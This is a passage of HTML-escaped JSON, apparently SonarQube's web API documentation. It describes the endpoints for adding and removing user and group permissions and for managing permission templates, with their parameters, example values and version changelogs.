\u0026#34;exampleValue\u0026#34;: \u0026#34;sonar-administrators\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;permission\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;The permission you would like to grant to the group.\\u003Cul\\u003E\\u003Cli\\u003EPossible values for global permissions: admin, gateadmin, profileadmin, provisioning, scan, applicationcreator, portfoliocreator\\u003C/li\\u003E\\u003Cli\\u003EPossible values for project permissions admin, codeviewer, issueadmin, securityhotspotadmin, scan, user\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;projectId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project id\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;ce4c03d6-430f-40a9-b777-ad877c00aa4d\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;projectKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;add_group_to_template\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Add a group to a permission template.\\u003Cbr /\\u003E The group name must be provided. \\u003Cbr /\\u003ERequires the following permission: \u0026#39;Administer System\u0026#39;.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;groupId\u0026#39; is removed. Use \u0026#39;groupName\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;groupId\u0026#39; is deprecated. Format changes from integer to string. Use \u0026#39;groupName\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;groupName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Group name or \u0026#39;anyone\u0026#39; (case insensitive)\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sonar-administrators\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;permission\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Permission\\u003Cul\\u003E\\u003Cli\\u003EPossible values for project permissions admin, codeviewer, issueadmin, securityhotspotadmin, scan, user\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;admin\u0026#34;, \u0026#34;codeviewer\u0026#34;, \u0026#34;issueadmin\u0026#34;, \u0026#34;securityhotspotadmin\u0026#34;, \u0026#34;scan\u0026#34;, \u0026#34;user\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;templateId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Template id\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;templateName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Template name\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Default Permission Template for Projects\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;add_project_creator_to_template\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Add a project creator to a permission template.\\u003Cbr\\u003ERequires the following permission: \u0026#39;Administer System\u0026#39;.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.0\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;permission\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Permission\\u003Cul\\u003E\\u003Cli\\u003EPossible values for project permissions admin, codeviewer, issueadmin, securityhotspotadmin, scan, user\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;admin\u0026#34;, \u0026#34;codeviewer\u0026#34;, \u0026#34;issueadmin\u0026#34;, \u0026#34;securityhotspotadmin\u0026#34;, \u0026#34;scan\u0026#34;, \u0026#34;user\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;templateId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Template id\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;templateName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Template name\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Default Permission Template for Projects\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;add_user\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Add permission to a user.\\u003Cbr /\\u003E This service defaults to global permissions, but can be limited to project permissions by providing project id or project key.\\u003Cbr /\\u003ERequires one of the following permissions:\\u003Cul\\u003E\\u003Cli\\u003E\u0026#39;Administer System\u0026#39;\\u003C/li\\u003E\\u003Cli\\u003E\u0026#39;Administer\u0026#39; rights on the specified project\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User login\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;g.hopper\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;permission\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;The permission you would like to grant to the user\\u003Cul\\u003E\\u003Cli\\u003EPossible values for global permissions: admin, gateadmin, profileadmin, provisioning, scan, applicationcreator, portfoliocreator\\u003C/li\\u003E\\u003Cli\\u003EPossible values for project permissions admin, codeviewer, issueadmin, securityhotspotadmin, scan, user\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;projectId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project id\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;ce4c03d6-430f-40a9-b777-ad877c00aa4d\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;projectKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;add_user_to_template\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Add a user to a permission template.\\u003Cbr /\\u003E Requires the following permission: \u0026#39;Administer System\u0026#39;.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User login\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;g.hopper\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;permission\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Permission\\u003Cul\\u003E\\u003Cli\\u003EPossible values for project permissions admin, codeviewer, issueadmin, securityhotspotadmin, scan, user\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;admin\u0026#34;, \u0026#34;codeviewer\u0026#34;, \u0026#34;issueadmin\u0026#34;, \u0026#34;securityhotspotadmin\u0026#34;, \u0026#34;scan\u0026#34;, \u0026#34;user\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;templateId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Template id\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;templateName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Template name\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Default Permission Template for Projects\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;apply_template\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Apply a permission template to one project.\\u003Cbr\\u003EThe project id or project key must be provided.\\u003Cbr\\u003EThe template id or name must be provided.\\u003Cbr\\u003ERequires the following permission: \u0026#39;Administer System\u0026#39;.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;projectId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project id\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;ce4c03d6-430f-40a9-b777-ad877c00aa4d\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;projectKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;templateId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Template id\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;templateName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Template name\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Default Permission Template for Projects\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;bulk_apply_template\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Apply a permission template to several components. Managed projects will be ignored.\\u003Cbr /\\u003EThe template id or name must be provided.\\u003Cbr /\\u003ERequires the following permission: \u0026#39;Administer System\u0026#39;.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.5\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Parameter projects accepts maximum 1000 values\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.7.2\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;analyzedBefore\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter the projects for which last analysis is older than the given date (exclusive).\\u003Cbr\\u003E Either a date (server timezone) or datetime can be provided.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2017-10-19 or 2017-10-19T13:00:00+0200\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;onProvisionedOnly\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter the projects that are provisioned\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;projects\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of project keys\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project,another_project\u0026#34;, \u0026#34;maxValuesAllowed\u0026#34;: 1000 }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Limit search to: \\u003Cul\\u003E\\u003Cli\\u003Eproject names that contain the supplied string\\u003C/li\\u003E\\u003Cli\\u003Eproject keys that are exactly the same as the supplied string\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;apac\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;qualifiers\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of component qualifiers. Filter the results with the specified qualifiers. Possible values are:\\u003Cul\\u003E\\u003Cli\\u003ETRK - Projects\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;TRK\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;TRK\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;templateId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Template id\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;templateName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Template name\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Default Permission Template for Projects\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;create_template\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Create a permission template.\\u003Cbr /\\u003ERequires the following permission: \u0026#39;Administer System\u0026#39;.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;description\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Description\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Permissions for all projects related to the financial service\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Financial Service Permissions\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;projectKeyPattern\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key pattern. Must be a valid Java regular expression\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;.*\\\\.finance\\\\..*\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;delete_template\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Delete a permission template.\\u003Cbr /\\u003ERequires the following permission: \u0026#39;Administer System\u0026#39;.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;templateId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Template id\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;templateName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Template name\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Default Permission Template for Projects\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;remove_group\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Remove a permission from a group.\\u003Cbr /\\u003E This service defaults to global permissions, but can be limited to project permissions by providing project id or project key.\\u003Cbr /\\u003E The group name must be provided.\\u003Cbr /\\u003ERequires one of the following permissions:\\u003Cul\\u003E\\u003Cli\\u003E\u0026#39;Administer System\u0026#39;\\u003C/li\\u003E\\u003Cli\\u003E\u0026#39;Administer\u0026#39; rights on the specified project\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;groupId\u0026#39; is removed. Use \u0026#39;groupName\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;groupId\u0026#39; is deprecated. Format changes from integer to string. Use \u0026#39;groupName\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;groupName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Group name or \u0026#39;anyone\u0026#39; (case insensitive)\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sonar-administrators\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;permission\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;The permission you would like to revoke from the group.\\u003Cul\\u003E\\u003Cli\\u003EPossible values for global permissions: admin, gateadmin, profileadmin, provisioning, scan, applicationcreator, portfoliocreator\\u003C/li\\u003E\\u003Cli\\u003EPossible values for project permissions admin, codeviewer, issueadmin, securityhotspotadmin, scan, user\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;projectId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project id\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;ce4c03d6-430f-40a9-b777-ad877c00aa4d\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;projectKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;remove_group_from_template\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Remove a group from a permission template.\\u003Cbr /\\u003E The group name must be provided. \\u003Cbr /\\u003ERequires the following permission: \u0026#39;Administer System\u0026#39;.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;groupId\u0026#39; is removed. Use \u0026#39;groupName\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;groupId\u0026#39; is deprecated. Format changes from integer to string. Use \u0026#39;groupName\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;groupName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Group name or \u0026#39;anyone\u0026#39; (case insensitive)\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sonar-administrators\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;permission\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Permission\\u003Cul\\u003E\\u003Cli\\u003EPossible values for project permissions admin, codeviewer, issueadmin, securityhotspotadmin, scan, user\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;admin\u0026#34;, \u0026#34;codeviewer\u0026#34;, \u0026#34;issueadmin\u0026#34;, \u0026#34;securityhotspotadmin\u0026#34;, \u0026#34;scan\u0026#34;, \u0026#34;user\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;templateId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Template id\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;templateName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Template name\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Default Permission Template for Projects\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;remove_project_creator_from_template\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Remove a project creator from a permission template.\\u003Cbr\\u003ERequires the following permission: \u0026#39;Administer System\u0026#39;.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.0\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;permission\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Permission\\u003Cul\\u003E\\u003Cli\\u003EPossible values for project permissions admin, codeviewer, issueadmin, securityhotspotadmin, scan, user\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;admin\u0026#34;, \u0026#34;codeviewer\u0026#34;, \u0026#34;issueadmin\u0026#34;, \u0026#34;securityhotspotadmin\u0026#34;, \u0026#34;scan\u0026#34;, \u0026#34;user\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;templateId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Template id\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;templateName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Template name\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Default Permission Template for Projects\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;remove_user\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Remove permission from a user.\\u003Cbr /\\u003E This service defaults to global permissions, but can be limited to project permissions by providing project id or project key.\\u003Cbr /\\u003E Requires one of the following permissions:\\u003Cul\\u003E\\u003Cli\\u003E\u0026#39;Administer System\u0026#39;\\u003C/li\\u003E\\u003Cli\\u003E\u0026#39;Administer\u0026#39; rights on the specified project\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User login\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;g.hopper\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;permission\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;The permission you would like to revoke from the user.\\u003Cul\\u003E\\u003Cli\\u003EPossible values for global permissions: admin, gateadmin, profileadmin, provisioning, scan, applicationcreator, portfoliocreator\\u003C/li\\u003E\\u003Cli\\u003EPossible values for project permissions admin, codeviewer, issueadmin, securityhotspotadmin, scan, user\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;projectId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project id\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;ce4c03d6-430f-40a9-b777-ad877c00aa4d\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;projectKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;remove_user_from_template\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Remove a user from a permission template.\\u003Cbr /\\u003E Requires the following permission: \u0026#39;Administer System\u0026#39;.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User login\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;g.hopper\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;permission\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Permission\\u003Cul\\u003E\\u003Cli\\u003EPossible values for project permissions admin, codeviewer, issueadmin, securityhotspotadmin, scan, user\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;admin\u0026#34;, \u0026#34;codeviewer\u0026#34;, \u0026#34;issueadmin\u0026#34;, \u0026#34;securityhotspotadmin\u0026#34;, \u0026#34;scan\u0026#34;, \u0026#34;user\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;templateId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Template id\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;templateName\u0026#34;, 